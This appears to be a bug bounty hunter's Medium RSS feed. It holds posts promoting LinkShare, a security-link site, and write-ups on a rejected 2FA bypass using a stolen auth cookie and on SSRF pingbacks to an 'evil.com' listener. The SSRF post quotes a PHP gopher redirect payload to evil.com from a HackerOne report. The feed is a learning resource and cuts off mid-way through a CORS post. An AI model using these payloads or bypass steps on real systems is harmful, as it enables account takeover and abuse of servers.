<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by AL on Medium]]></title>
        <description><![CDATA[Stories by AL on Medium]]></description>
        <link>https://medium.com/@archerl?source=rss-2e90329b4b8e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*HBKsMoKOGGdzewsN</url>
            <title>Stories by AL on Medium</title>
            <link>https://medium.com/@archerl?source=rss-2e90329b4b8e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 00:28:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@archerl/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How can a simple tool help me with bug bounty?]]></title>
            <link>https://archerl.medium.com/linkshare-55b2c4e84f1?source=rss-2e90329b4b8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/55b2c4e84f1</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[graphql]]></category>
            <dc:creator><![CDATA[AL]]></dc:creator>
            <pubDate>Fri, 27 Aug 2021 09:14:00 GMT</pubDate>
            <atom:updated>2022-04-28T21:55:37.676Z</atom:updated>
            <content:encoded><![CDATA[<h4><a href="https://linksshare.io/">LinkShare</a>: a website to find info-sec related resources.</h4><p>The bug bounty world significantly relies on people reading other security researchers’ blogs, videos, reports, and using published tools.</p><p>This community is really helpful in sharing knowledge, yet there are issues with reliability and distribution. It’s all over, from <a href="https://medium.com/">Medium </a>to personal blogs to <a href="https://hackerone.com/hacktivity">HackerOne reports</a>.</p><p>This is where <a href="https://linksshare.io/">LinkShare </a>comes in. This website was created to provide quick, dependable, and easily accessible information to the community. LinkShare provides both a graphical user interface and a <a href="https://linkshare-server.herokuapp.com/">GraphQL playground</a> for viewing its content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yosT0RdPeDQbnuW2idkFEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F4DI1beY6zBvqTK6mMoepQ.png" /><figcaption>Website to browse data (left) GraphQL playground to fetch data (right)</figcaption></figure><h3>How to use it?</h3><p>LinkShare’s tag-based approach to saving and categorizing resources benefits all levels of bug hunters, from the most experienced to the inexperienced.</p><p>LinkShare’s robust search bar has a variety of functions to help you find what you’re looking for. The <strong>tags field</strong>, for example, <strong><em>is the first field</em></strong> and contains a list of tags that have been assigned to each resource in the LinkShare database. You can read more <a href="https://linksshare.io/docs">here about the search bar!</a></p><blockquote>You can use a single tag or a group of tags. The tags combine in an <strong>AND </strong>operation to produce the desired results.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zNn2pntZAYpFBj08hNxnuA.gif" /><figcaption>Tag inputs, search bar.</figcaption></figure><blockquote>Type out the bug type; if it is included in the list, the drop-down menu will recommend it to you! and still if the need is require you can use the third field.</blockquote><p>The third field, can be used to search the keywords or even links, for example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nj54FGhCvFB5ad2QzPeziA.gif" /><figcaption>How third field can be used!</figcaption></figure><h4>Scenarios?</h4><p>If you’re a novice hunter or just getting started with a bug type, adding learning AND/OR methodology tags to any bug type will filter results to resources that provide comprehensive knowledge about the bug and will assist you in developing advanced concepts later.</p><p>For instance, if you begin with the XSS bug type, adding those two tags will produce results similar to this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wPVjKq30kzUXzSnNnIyrzg.png" /><figcaption>Beginner’s corner</figcaption></figure><p>If you are an intermediate to skilled bug bounty hunter, combining multiple tags, such as XSS<strong><em>AND</em></strong> RCE <strong>or </strong>XSS <strong><em>AND</em></strong><em> </em>Account takeover, can be extremely time-saving and beneficial. This would return results whenever an XSShad been escalated to a RCE or Account takeover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*18nQWiU73MnVbV8OypUZlQ.png" /><figcaption>For intermediate to advanced users</figcaption></figure><p>Not only that, but users may also look for a <strong><em>tool/video/report/blog/news</em></strong> item depending on the tags linked with their search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*--jGYnKlKwCVGwwnahPZZw.png" /><figcaption>What medium you want your source in?</figcaption></figure><blockquote>The website is still in its infancy, and while I am working to update data daily, you may encounter 0 results for certain tag combinations. Hopefully, this will not happen in the near future. :)</blockquote><p>Registered users can bookmark from these links that are most pertinent to their requirements and make notes on them. Even notes are categorized along with the resources which makes it easy to search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pe3kgEu321obKb9lZ978w.png" /><figcaption>My notes and how I utilize the links share here</figcaption></figure><blockquote>Registrations are still in Alpha phases, should be available for anyone to register very soon.</blockquote><h3>How to Share links?</h3><p>The process of sharing is very simple. Users can go the Share Link Tab once they are logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QedfHSYPjAxcmMvl3hLZkg.png" /><figcaption>Share Link tab in the menu bar</figcaption></figure><p>There are 6 fields, which a user has to fill before the link can be shared and stored on the platform.</p><ul><li><strong>Title</strong> (this is where the heading or the title of the resource goes)</li><li><strong>URL</strong> (url of the website)</li><li><strong>Type</strong> (based on the resource that you are sharing, this can be a video, a tool, a blog, a report or a new article)</li><li><strong>Severity</strong> (this is applicable only if the resource mentions about the severity of the bug it is describing, else None)</li><li><strong>Description </strong>(this is where the summary about the resource is added, which is generally provided in the description of the resource itself)</li></ul><p>Once all the details are completed a user can hit the submit button and the link is posted!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*-1sDffE9ukW3za-sZErzOg.gif" /><figcaption>Adding links on LinkShare</figcaption></figure><h3>What are the Major benefits?</h3><p>LinkShare was built by a bug hunter for bug hunters, and the website’s use is solely motivated by the necessity that drove its creation, namely the need for a centralized database that is regularly updated and allows for personalized storage of resources that helps bug bounty hunters obtain resources quickly, conveniently, and reliably, all while remaining community-driven.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bpRPDpCe6lzOTfiE.png" /><figcaption>Why was LinkShare created!</figcaption></figure><p>LinkShare works on the premise that a user creates content and then shares the link/URL here to benefit their views and contribute content to the website on the topic of their knowledge or research.<br>Initially, a small community of invited or trusted people will help and curate lists, similar to <a href="https://blog.intigriti.com/">BugBytes</a> by <a href="https://www.intigriti.com/">Intigriti</a>, but as the user base expands, the paradigm will transition to the aforementioned user model.</p><p>The end goal is to allow anyone to share their blog/post/video/tool here, a community to help community by community!</p><blockquote>It also benefits content creators by promoting their blogs/videos/tools in areas they cover but have yet to convey. Imagine how much information they can fit into the title of their blog vs the tags which would be added to the blog to describe it? so its a free real-state people!</blockquote><h3>As a creator has it benefited me?</h3><p>Reading articles benefits everyone, and having this tool on hand makes my life so much easier. The critical question is how good the results are?</p><p>Several of my reports were produced as a direct result of my ability to swiftly access materials on LinkShare.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*Ne5W4cyZrx643i30jj4Xdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*vyfNu4H7flKJ6udE9iPDIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*7xQUX1sChy360iX9oNvGBw.png" /><figcaption>Some reports which I was able to mimic after reading the resources on LinkShare.</figcaption></figure><p><em>Consider the following scenario: If you recall a keyword from an article you read but did not save it, will you Google it again? Perhaps you can, but consider which is easier to use: LinkShare or Googling?</em></p><h3>Closing arguments?</h3><p>Finally, LinkShare does not simply provide resources; it also provides a mechanism for people to master a particular subject by arranging all of these materials in an organized fashion that includes high-quality research, thoughts, and information that individuals freely provide.</p><p>In a world of freely distributed but disorganized knowledge, LinkShare is attempting to collect them in one location to make life easier for those entering and working in this industry, one small step at a time.</p><p>How you LinkShare is entirely up to you; I am only a modest developer of a tool that will assist you in your workflow.</p><p>I hope it helps you! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55b2c4e84f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LinkShare (Many problems one solution)]]></title>
            <link>https://archerl.medium.com/linkshare-many-problems-one-solution-3f7c85d150e6?source=rss-2e90329b4b8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f7c85d150e6</guid>
            <category><![CDATA[prisma]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[startup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[AL]]></dc:creator>
            <pubDate>Fri, 09 Apr 2021 08:02:08 GMT</pubDate>
            <atom:updated>2021-05-11T10:27:46.439Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong># Problem</strong></h3><p>Ever tried storing your links in a way that could be centrally managed, ranked, topic centralized and moreover are community driven? neither did I. lol</p><p>I used to store my links for bug bounty reports and blogs in a git-repository, which was easy to store but difficult to search again for. As if the links I used to save got lost in that repository, so I came with a solution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_bNd5jsdUxJi21zjPc-V4Q.png" /><figcaption>From git to LinkShare</figcaption></figure><p>So I have been working on a project, which could help categorize and share the links of blogs/videos/tools/News etc in a more organized, shareable and manageable way. Much like that of <a href="https://news.ycombinator.com/">HackerNews</a> but with a better UI :P (Hacker-news is great BTW, do check it out).</p><h3><strong># Proposal</strong></h3><p>Wouldn’t an app like below aide your study for bug-bounty-hunting or security in general?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*U2-u7xtV7bTbPkKbWwIvIg.gif" /><figcaption>LInkShare in Action</figcaption></figure><h3><strong># How it will work?</strong></h3><p>It would be a simple website where you could go and browse for reports based on Keyword, Type (You wanna look a video or report) or Tags.</p><p>This works on the model that user creates the link and then shares their contents link here, benefiting their views and contributing the website with the content on the topic of their expertise or finding.</p><p>So, In the starting it would be me and handful of people helping and curating lists much like that of <a href="https://blog.intigriti.com/category/bugbytes/">BugBytes </a>by <a href="https://www.intigriti.com/">Intigriti</a> but once the user base grows the model would change to what I mentioned above. (fingers crossed)</p><p><strong>Create a Link:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Tgy3__QcJmbehZ9HwYatag.gif" /><figcaption>create link</figcaption></figure><p>Similarly you can create custom tags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-K8BHF7hx37iMSART0iaGA.png" /><figcaption>create custom tags.</figcaption></figure><h3># Uses?</h3><p>You can easily come and look for links here, read them save them. You can check the reliability of the resource by the amount of up-votes and down-votes it has received.</p><h3># Tech-Stack?</h3><p>The burning question…. Its built on:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6oqsfCFepXK8injH0M4L7A.png" /><figcaption>Tech stack image</figcaption></figure><p>This is how the GraphQL schema looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FL_LdTJ5l78pcZDu0wjGuA.png" /></figure><h3># Future?</h3><p>I am not really sure. I use it with my friends. I might open sourcing it. Community can perhaps help me build this better and more viable and not to mention all the help that can be provided to broaden the audience base if it gains traction.</p><p><strong>UI:</strong> This can use a lot of help, since the current UI is something I put together from a YouTube tutorial.</p><p><strong>Backend: </strong>It’s built on Prisma and GraphQL both with amazing community. Although, the community has already been helping me with it. I can still use some further help. :)</p><p>You can follow the tweet discussion on this <a href="https://twitter.com/realArcherL/status/1380415089363193858">here</a>. If you want to sponsor this project or contribute in any way feel free to DM me on <a href="https://twitter.com/realArcherL">twitter</a>.</p><p>I hope this helps. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f7c85d150e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Bounty Failsx101[4]]]></title>
            <link>https://archerl.medium.com/bug-bounty-failsx101-4-b601616fbe9f?source=rss-2e90329b4b8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b601616fbe9f</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[fail]]></category>
            <dc:creator><![CDATA[AL]]></dc:creator>
            <pubDate>Wed, 26 Aug 2020 17:12:50 GMT</pubDate>
            <atom:updated>2021-01-08T12:37:20.986Z</atom:updated>
            <content:encoded><![CDATA[<p>Sometimes I think I do bug bounties only to fail, so that I can write about them here, but it’s the process I enjoy which brings joy anyway. Lol</p><h3>2FA Bypass</h3><p>This breed of bug is widely popular among-st the new generation of bounty hunters. [not so popular among-st triagers though]</p><p>So to exploit or get an OTP bypass:</p><ol><li>You can brute force it.</li><li>You can fake the page response and bypass it (I did it myself, awaiting disclosure and…..so you all know I was closed as N/A :( )</li><li>You can send in a blank OTP.</li><li>You can smash it, burn it and what not, but there is still another way.</li></ol><p>The <strong>authentication token </strong>is something that validates the legitimacy of the user with the websites. As in, once you have completed the authentication process that is login, you will be identified to the website using a unique, long and random identifier string that is the authentication token. Sites protect it with certain flags such as HttpOnly, Secure, the same-site, etc.</p><p>Mostly <strong>HttpOnly</strong> and <strong>Secure cookie flags</strong> make life miserable for bug hunters. With “<strong>HttpOnly</strong> flag (optional) included in the HTTP response header, the cookie can not be accessed via the client side script (<strong>XSS</strong>)” and “a cookie with a <strong>Secure </strong>flag set is not sent over an unencrypted, HTTP request” that makes it extremely difficult to extract an auth token which generally resides in the cookies, which brings us to</p><h3>The Curious Case of 2FA and its love for auth tokens.</h3><p>5. This is a way where you can bypass OTP with auth token, but only if these conditions are met.</p><blockquote>The victim’s account has 2FA enabled.</blockquote><blockquote>Attackers know the victim’s login and password, but they don’t have access to OTP or backup codes.</blockquote><blockquote>Attackers somehow can disclose HTTP only; Secure auth token from the victim.</blockquote><blockquote>Only in this case, the attacker can bypass 2FA leveraging:</blockquote><blockquote>victim’s login+password</blockquote><blockquote>auth cookie - if attackers have access to auth, it&#39;s likely they have/had access to the active session of the victim or there was a way to leak live auth cookie moreover, the attack is being performed in or before the token expires (which is roughly between 10–20 minutes).</blockquote><p>Considering the above assumptions lets attack our victim on REDACTED website.</p><p><strong>Step I:</strong> Enter the user ID, password and OTP for the attacker account. Save the successful response of the correct OTP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z5gaTuOEpox3W5vbiU7bSw.png" /><figcaption>How the 2FA works on the website.</figcaption></figure><p><strong>Step II: </strong>Enter the victim ID and password while intercepting the request, copy the mfavalue.</p><p>Again after entering the OTP (any arbitrary value) intercept the response and replace it with the saved response from <strong>Step I, simultaneously </strong>changing the values of mfavaluewith previously copied one and auth with the stolen one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gP6l0FxH6uP1-7EBeWtKaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*vZwm5nnoQk59noLkOs0WOg.gif" /><figcaption>- BOOM HACKED!!</figcaption></figure><p><strong>BOOM!!</strong> you have bypassed the OTP check! give me bounty please! moment. I immediately reported this as bug.</p><p>No, I seriously did………</p><ul><li>*“<a href="https://www.youtube.com/watch?v=_aNkMde7X8E&amp;feature=youtu.be&amp;t=114">bye bye teer… bye bye teer</a>”-BB Ki Vines</li></ul><p><strong>Closed as Informative.</strong></p><p>PS: Now after the whole fiasco, I am kind of glad that this wasn’t closed as N/A.</p><p>Let’s rewind and understand another concept of “how bug bounties work” in context to this report, systematically with the plot twist in the end.</p><h3>Reporter Vs Triager round I (Bug 1)</h3><p><strong>I. The assumptions are too heavy.</strong></p><ol><li><strong>How did you manage to get the </strong><strong>auth cookie, which is so tough to exploit (nearly impossible)? Even if you’ve managed to get it via victim’s PC, it’s out of scope to be able to gain physical access to the account.</strong></li></ol><p><strong>my counter:</strong> <em>Well, that’s not why I reported this, its an OTP bypass and not </em>auth<em> leakage report. The scenario leading to </em><em>auth stealing is not what this report deals with.</em></p><p><strong>2. If you have </strong><strong>auth, you have access to the victim account which already makes it compromised, it doesn’t make any sense to be able to create a new access.</strong></p><p><strong>my counter: </strong><em>Isn’t the whole point of having 2FA to prevent a new point of access by the adversary? no matter what means are applied? Also the auth expires in 15 mins, you can change the pass but not regain access with 2FA enabled.</em></p><p><strong>3. Why do you have to go through the trouble to log in to a new PC? The user will eventually receive an OTP notification and, out of suspicion, will change the pass so the whole process of bypassing is absurd.</strong></p><p><strong>my counter:<em> </em></strong><em>(Unique to my case)Yeah, but the fact that I could compromise the account, why wouldn’t I change the password and email as the first thing, knowing that these stuff could put my hack at risk </em><strong>(iss Baat ki koi sense ban rhi hai? mujhe ban rahi thi tabh).</strong> [more on this later]</p><p><strong>II. Had this been a pen test report, it would have been considered a legitimate (great) bug but as of now it isn’t because of too many presumptions for this exploit to happen, which bug bounties don’t accept.</strong></p><p>Both sides have compelling arguments, no matter how much I want to believe this to be a valid report, the odds (tiagers mostly) are against it.</p><p>Its not like this attack scenario hasn’t been reported before. The Grammarly report (<a href="https://hackerone.com/reports/665722"><strong>#665722</strong></a>) employees the exact same methodology and was accepted as a valid bug. But I have been told that the program was running a promotion campaign and its one of the <strong><em>reporter got lucky case!</em></strong></p><p>Should we give up though?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/288/1*fp6R103ByfWdfaA4A9S6WQ.gif" /></figure><h3>Reporter Vs Triager round II (Bug 2)</h3><p>Now, you see another thing comes to mind, how about trying to bypass 2FA altogether? hmm.</p><p>A strange thing happened, while <strong>checking the website out (LOL!)</strong> I found out that despite having the 2FA enabled, one will be simply logged in without the need to fill the 2FA, i.e., via forgot password/reset password link.</p><blockquote>Assumption here is you have the Email ID with which this account was registered compromised, as in all you need is the reset link, if you have it you can reset the password and you will be directly logged in, and NO 2FA value will be asked.</blockquote><p>Bonus, if you place the victim auth cookie here, it will log you into the victim’s account. <strong>Note: Unless you know a way to steal the </strong><strong>auth token, this is just how web applications work.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MxCpj1ZMZiHktQ9NNbAs7g.png" /><figcaption>Bypass 2FA with password reset.</figcaption></figure><h3>Reporter Vs Triager round III (Bug 3)</h3><p>I presented the triager with another bug, that <em>“The password is reset while the attacker is halfway through the authentication process but has not yet entered the OTP, it would not sort any effect on the partial authentication session. Consequently, the user will be able to log in without the need to insert the new password”</em></p><p>In simple words,</p><ol><li>Attacker is mid-way with the login i.e., about to enter the OTP, that is exactly when the password reset is done by victim.</li><li>With session still valid, the attacker is able to login into the account with 2FA PIN, without the need to re-authenticate with new password, since the session in which he entered the old password, and now in which he reached the OTP form hasn’t expired.</li></ol><blockquote>Assumption here is you have the means to access OTP, but this assumption is needed only in one special case when Bug 1 fails to work properly.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v0axWCoL7317nom2PM6RKw.png" /><figcaption>Attacker waiting patiently.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jKd-7ZdldTZl_bLU1iEuHA.png" /><figcaption>User resets the password, attacker bypasses the need to re-enter the password</figcaption></figure><p><strong>Now lets combine Bug 1,2 and 3</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*h449-n1ffEy42BjxCj6Wwg.png" /><figcaption>The explanation of the whole scenario.</figcaption></figure><p>So the only <strong>BIG assumption</strong> now here is that the Email Id with which the account was registered on <strong>&lt;REDACTED&gt; website</strong> to be compromised (i,e., all you need is the reset password link), the only required assumption.</p><p>After real hard-work and one month of dedication I was able to chain all these bugs and submit the report and finally turn the report to from informative to <strong>Critical</strong>.</p><p><strong>Naah….</strong> It is still being kept closed as informative. **screams in corner</p><p><strong>The Ugly Truth: well, </strong>lets face it</p><ol><li>The possibility of your Gmail/Bing/Yahoo (whatever you used to register account) being compromised is very low <em>in order to get a password reset link(triager’s words not mine) unless you get someway to forge the reset password link.</em></li><li>Secondly, &lt;redacted&gt;.com has nothing to do with your Gmail/Bing/Yahoo account compromise or any other for that matter. To them its important that nothing happens to your account within their own website boundaries.</li></ol><p><strong>Then why do we have 2FA, isn’t that’s the whole purpose of it? my question to all triagers and bug bounty programs.</strong></p><h4><strong>Lastly Is it a valid bug?</strong></h4><p>Well I leave that up to you!! Vulnerabilities like these have been considered as valid in the past.</p><p><strong>EDIT: The root cause of this whole fiasco is nothing but the issues with the </strong><strong>auth cookie expiration. But the reason I tried an account login was to maintain and show persistence, you see the </strong><strong>auth would have expired in 10–20 mins, but once logged in, you stay in control as long as you want (even when the password is reset, you are logged out but the cookie still remains valid). Also for the bug 3, for this to be working, you should consider the time the </strong><strong>auth cookie stays valid, should be at least 24 hours, for such a bug to be considered as valid, with another assumption that somehow the attacker got hold of the 2FA device or like in this case knew how to bypass it.</strong></p><p>I hope you found this informative. You can find me on <a href="https://twitter.com/realArcherL">twitter</a>. Happy hunting.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b601616fbe9f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Bounty Failsx101[3]]]></title>
            <link>https://archerl.medium.com/bug-bounty-failsx101-3-199b50ce7f4e?source=rss-2e90329b4b8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/199b50ce7f4e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[fail]]></category>
            <dc:creator><![CDATA[AL]]></dc:creator>
            <pubDate>Sun, 19 Jul 2020 15:18:42 GMT</pubDate>
            <atom:updated>2020-07-19T15:24:16.584Z</atom:updated>
            <content:encoded><![CDATA[<p>Greetings everyone, back with another blog. This time we have SSRF or Server Side Request Forgery on our hands.</p><p><strong>What is SSRF?</strong></p><p>Its a vulnerability in which attacker can control who and what way a server behaves. In general with the SSRF vulnerability an attacker can fetch resources, connect the server back to himself/herself, connect to other internal infrastructure and perform many other functions authorized for system admins only.</p><p>You can understand it with this video example which depicts how internal services can be accessed via this vulnerability.</p><p><a href="https://gallery.moovly.com/video/48c0f50c-c8e7-11ea-9a46-06ef0ab4386c">https://gallery.moovly.com/video/48c0f50c-c8e7-11ea-9a46-06ef0ab4386c</a></p><p>This is based on example provided by Jobert Abma in his blog post. I would recommend you reading <a href="https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF">his post </a>on HackerOne. Its a good post.</p><p><strong>Armed with this knowledge lets hunt for SSRF!</strong></p><p>So one way to test if a website really has a SSRF bug in play is to verify whether you can directly access the server on which it is being hosted, and make it <strong>DO THINGS</strong>.(If, after reading this, you ‘re smiling. You sir are a pervert!).</p><p>One of them would be to get a ping back right? I mean you are making the server to look for you? isn’t that a bug?</p><p><strong>CASE 1: The search engine.</strong></p><p>Then let’s get down to hunting SSRF! And we’ve got one perfect candidate. GOOGLE! So Google has that image search functionality (duh?!). You can do it using a URL, too. What if we were able to make Google ping-back/HTTP request back at us?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*K_-7Ars2tVU2HaB0e0RVpw.png" /><figcaption>Please input a URL in that space :)</figcaption></figure><p>Lets set up our own website and let it be called evil.com (I am doing so using <a href="https://ngrok.com/">ngrok</a>). We can monitor which connections are being made back to us, whether we are being pinged or not, we have FTP, SMTP and other services at our discretion. My setup is listening for a connection back on port 1337 :).</p><p>Step I: Enter your website (evil.com) in the search bar, hit search.</p><p>Step II: open the logs for your website (evil.com) and you can see you got a ping-back/HTTP request from google (from google’s bot) or in my case, on my netcat listener running on port 1337.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*doTvsbkeKpOtSzOLSDY2_w.gif" /><figcaption>Google hacked!</figcaption></figure><p><strong>BOOM!!</strong> a response from the server. Lets report this to google security. I immediately mailed this vulnerability to them and got this as their reply.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*vZwm5nnoQk59noLkOs0WOg.gif" /><figcaption>BOOM HACKED!!</figcaption></figure><p>Naah. I didn’t mail it. And this is not a bug or is it?</p><p>It boils down to whether or not it’s impactful but, in particular, in this case, not only there is no impact, <strong>it is a feature</strong>!.</p><p>Whenever a website retrieves a resource from another resource (website, server or any internet device) it connects to it and the pingback, HTTP request or TCP connection here simply confirms that a connection has been made or a fetch has been made. Like in this case, Google came to our website and asked us, “Hey do you have this?” that we didn’t respond to, so it timed out.</p><p>Another case of such a scenario would be Discord.</p><p><strong>CASE 2: The chat application.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*ZWKOS1K6rPQEoh9eROru8A.gif" /></figure><p>When you send your link as a message via Discord, Discord comes and asks our website the same question that Google had asked. As before we had nothing to answer and instead of timing out here, the discord message shows no description of the website. These are just the functionality of these two websites and not the bugs themselves.</p><p><strong>When will they become a bug??</strong></p><p>Ask yourself this question, apart from getting an HTTP request from your server, what else could be done? Can you get it to share the files with you? Yet that’s just what you ‘re doing on its website. What about sharing the file `etc/passwd` with you? What if you could make the website send an email for you. Possibilities are endless.</p><p><strong>CASE study 1:</strong></p><p>I always emphasize on learning from reports and yet I don’t have a top pick. But this report <a href="https://hackerone.com/reports/115748">#115748</a> by <a href="https://hackerone.com/aesteral">aesteral</a> is a gem. You can explore the number of attack scenarios he pulled off, on this vulnerable website. Its not the best study, but the comprehensive approach and description of the effect on each stage is something worth learning from.</p><p>He shows powerful impacts by exploiting SMTP connection, where he highlights the possibility of an “<strong>actual SMTP session and send SPAM from Imgur IPs”. </strong>A snippet of his payload.</p><pre>&lt;?php<br>        header(&#39;Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest&#39;);<br>?&gt;</pre><p>He then goes further in showing a UDP connection exploit and not to mention the DOS attack stated in the report’s end.</p><p><strong>CASE study 2:</strong></p><p>Another good example of a SSRF exploit is <a href="https://hackerone.com/reports/783392">#783392</a> by <a href="https://hackerone.com/arsene_lupin">arsene_lupin</a>. In his report he showed clear and impactful events of an SSRF bug. A precise POC highlighting how port scanning can be achieved with a traditional SSRF POC.</p><p><strong>Take away:</strong></p><ol><li>Always consider the impact of the report you are writing, without impact the report is as good as a dud.</li></ol><p>When you only send a SSRF report that indicates just a “ping-back / HTTP request” from a compromised server, there is a very good probability that the report will be marked as informative and in worst case N/A. Nevertheless, if ample evidence of potential misuse is given, the probability of obtaining a triage on the report rises, but that will not be assured unless a solid working proof is presented.</p><p>So if you think the situation can be changed, you can ask the triage team to assist you with this after you have sent a bug report. You see its important to show a security vulnerability.</p><p>2. Consider your options wisely, stick to policy of the website. If they mention that DOS is out of scope and the only impact you can show is of a DOS, then the responsible thing would be to still report it, but don’t expect a reward.</p><p>I would like to credit people in HackerOne Discord channel, for helping me with content for these blogs.</p><p>I hope you found this informative. You can find me on <a href="https://twitter.com/realArcherL">twitter</a>. Happy hunting.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=199b50ce7f4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Bounty Failsx101 [2]]]></title>
            <link>https://archerl.medium.com/bug-bounty-failsx101-2-bdc9f3103e9a?source=rss-2e90329b4b8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/bdc9f3103e9a</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[fail]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[AL]]></dc:creator>
            <pubDate>Tue, 19 May 2020 17:11:54 GMT</pubDate>
            <atom:updated>2022-02-03T19:08:51.100Z</atom:updated>
            <content:encoded><![CDATA[<p>Well, this is more about me telling why the story got late, if you are not interested please skip to <strong>Fail part.</strong></p><p>So, I started writing this blog and failed to be regular with it, because I thought I don’t fail that much (I had my signal in negative actually, just barely got it above 0 recently, *me* cries in corner*).</p><p>So the thing was that I didn’t have a lot of reports to discuss, then I realized that I could discuss any publicly disclosed HackerOne report, they might not have to be my own, you see that everyone sometimes encounters failure. (*sigh*).</p><p><strong>FAIL PART</strong></p><p><strong>:) you didn’t read what I wrote above. nice. lazy…..</strong></p><p>We have a case of miss-configured CORS in our hand.</p><blockquote><strong>What is CORS?</strong></blockquote><p>“Cross-origin resource sharing (<strong>CORS</strong>) is a mechanism that allows restricted resources on a web page to be requested from another domain outside the domain from which the first resource was served” <a href="https://en.wikipedia.org/wiki/Cross-origin_resource_sharing">Wikipedia</a>.</p><blockquote>Let me explain this to you in an analogy, <strong>Krishna </strong>is only allowed to talk to his girlfriend <strong>Radha </strong>and no other girl.</blockquote><blockquote>But Krishna needs advice from other <strong>girls</strong> (<strong>goopies</strong>) to keep his girlfriend happy without disclosing sensitive information about their relationship. So, <strong>Krishna </strong>is permitted to talk to only those girls who are considered to be trustworthy by <strong>Radha</strong>, more like lists of trustworthy girls (please, I respect women, this is only an analogy).</blockquote><blockquote>So substitute <strong>Krishna </strong>with a web browser, <strong>Radha </strong>as a website, user intended to visit and <strong>gals </strong>(<strong>goopies</strong>) as other <strong>domains </strong>(<strong>websites</strong>) which he should be allowed to communicate with, for the purpose of sharing resources such as fonts, images , videos, 